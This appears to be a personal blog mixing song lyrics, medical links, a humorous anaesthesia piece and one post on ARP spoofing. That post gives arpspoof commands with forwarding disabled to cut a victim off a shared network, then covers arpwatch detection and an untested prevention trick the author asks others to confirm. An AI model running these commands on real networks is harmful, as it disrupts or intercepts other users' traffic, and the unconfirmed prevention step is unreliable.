Wednesday, November 12, 2008
i love this song from Spirit Stallion of the Cimarron movie
Here i am – Bryan Adams
Here I am – this is me
There’s no where else on earth I’d rather be
Here I am – it’s just me and you
And tonight we make our dreams come true
It’s a new world – it’s a new start
It’s alive with the beating of young hearts
It’s a new day – it’s a new plan
I’ve been waiting for you
Here I am
Here we are – we’ve just begun
And after all this time – our time has come
Ya here we are – still goin’ strong
Right here in the place where we belong
Chorus X1
Here I am – this is me
There’s no where else on earth I’d rather be
Here I am – it’s just me and you
And tonight we make our dreams come true
Chorus X2
Here I am – next to you
And suddenly the world is all brand new
Here I am – where I’m gonna stay
Now there’s nothin standin in our way
Here I am – this is me
Tuesday, November 11, 2008
idea – detection – solution
what is arp
From wikipedia
In computer networking, the Address Resolution Protocol (ARP) is the method for finding a host’s hardware address when only its Network Layer address is known. ARP is defined in RFC 826.[1] It is a current Internet Standard (STD 37).
ARP is not an IP-only or Ethernet-only protocol; it can be used to resolve many different network-layer protocol addresses to hardware addresses, although, due to the overwhelming prevalence of IPv4 and Ethernet, ARP is primarily used to translate IP addresses to Ethernet MAC addresses.
Net Cut is tool used here in egypt to dominate the network in shared network
Anatomy of an ARP Poisoning Attack
http://www.watchguard.com/infocenter…ial/135324.asp
how to do
install dsniff and arpwatch packages
example
192.168.1.1 = Router IP
192.168.1.2 = Victim IP
echo 0 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
# terminate
killall arpspoof
detection
use arpwatch and watch /var/log/message //here under RedHat
arpwatch -i eth0
cat /var/log/message
#will show somthing like that
Oct 6 21:42:22 localhost arpwatch: changed ethernet address 192.168.1.1 MAC (MAC_adress)
Oct 6 21:42:26 localhost arpwatch: reused old ethernet address 192.168.1.1 MAC_Adress (MAC_Adress)
prevention–just for blockage of incoming data
just use arpspoof command to your ip/
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 Your_IP
about prevention step
i just tried it in My pc … plz any one who could confirm … will be welcome
References
http://www.watchguard.com/infocenter/editorial/135324.asp
http://www.irongeek.com/i.php?page=security/arpspoof
http://en.wikipedia.org/wiki/Address_Resolution_Protocol
http://www.cyberciti.biz/faq/how-to-detect-arp-spoofing-under-unix-or-linux/
http://www.cat-hackers.com/
http://monkey.org/%7Edugsong/dsniff/faq.html
man arp
man arpwatch
man arpspoof
Tuesday, November 11, 2008
i have seen this investigation done in university hospital
for more information
http://ccforum.com/content/8/1/R12
that is what happened when i tried to download “fe zelal alqoraan book” searching in google …finding book in arabic forum … then oh plz register for download …. and other said the user pay sever effort to get that link … and other said forum for women only
stupid arabic posts in stupid arabic forum from stupid idea
that is test for sending from flock 😉
I am Red
and that is diff font 😉
Tuesday, December 25, 2007
nice article i have read
http://www.gasbag.net/index.php/topic,201.0.html
some funny parts
I got my first insight into this unique relationship when I changed
from being a surgical resident to being an anaesthetic resident. On my
first day I learned the basics from someone who, while unknown in
scientific circles, is regarded highly in the antipodes as an
anaesthetic philosopher. In my first five minutes he taught me the
three fundamentals of anaesthesia.
* “Always check the oxygen supply.”
* “Always identify the patient and the operation.”
* “Hate all surgeons and hate the slow bastards most.”
I confronted the anaesthetic philosopher with this disturbing
information and learnt the next most important lesson.
* “Never tell the surgeon anything. There is nothing he can do and
he will only get in a flap.”
* There were only four things he said to tell surgeon in time of
crisis.
* “Please get the retractor off the heart.”
* “Could you stop a few bleeders and give me time to catch up.”
* “Could you give cardiac massage.”
* “You can stop now – he’s dead.”
There is also a list of great surgical lies which every anaesthetist
will recognise.
* “Put him to sleep, I’ll be down in five minutes.”
* “He is old but he is fit.”
* “You will like her, she’s and old dear.”
* “I haven’t cross matched blood, we don’t need any.”
* “Don’t put a tube down, it’s just a quick snatch.”
* “I’m just going to open, have a look, and close her.”
* “She will die if I do nothing.”
* “I’ll be finished in ten minutes.”
And let surgeons beware when they hear:
* “The blood pressure is 123/72.”
* “The patients is maximally relaxed and won’t breathe for a week
if I give any more.”
* “It’s not cyanosis, it’s just the bloody lighting.”
* “Don’t go away, it will be two minute turn around.”
Wednesday, March 21, 2007
Wednesday, March 21, 2007
nice article i have read after facing a case of Hemorrhagic Shock in G&O Depratment
Download as PDF here
http://www.sogc.org/guidelines/public/115E-CPG-June2002.pdf
here is a good book Acid-Base interpretation
http://www.anaesthesiamcq.com/AcidBaseBook/
i will try to compress and upload it later ISA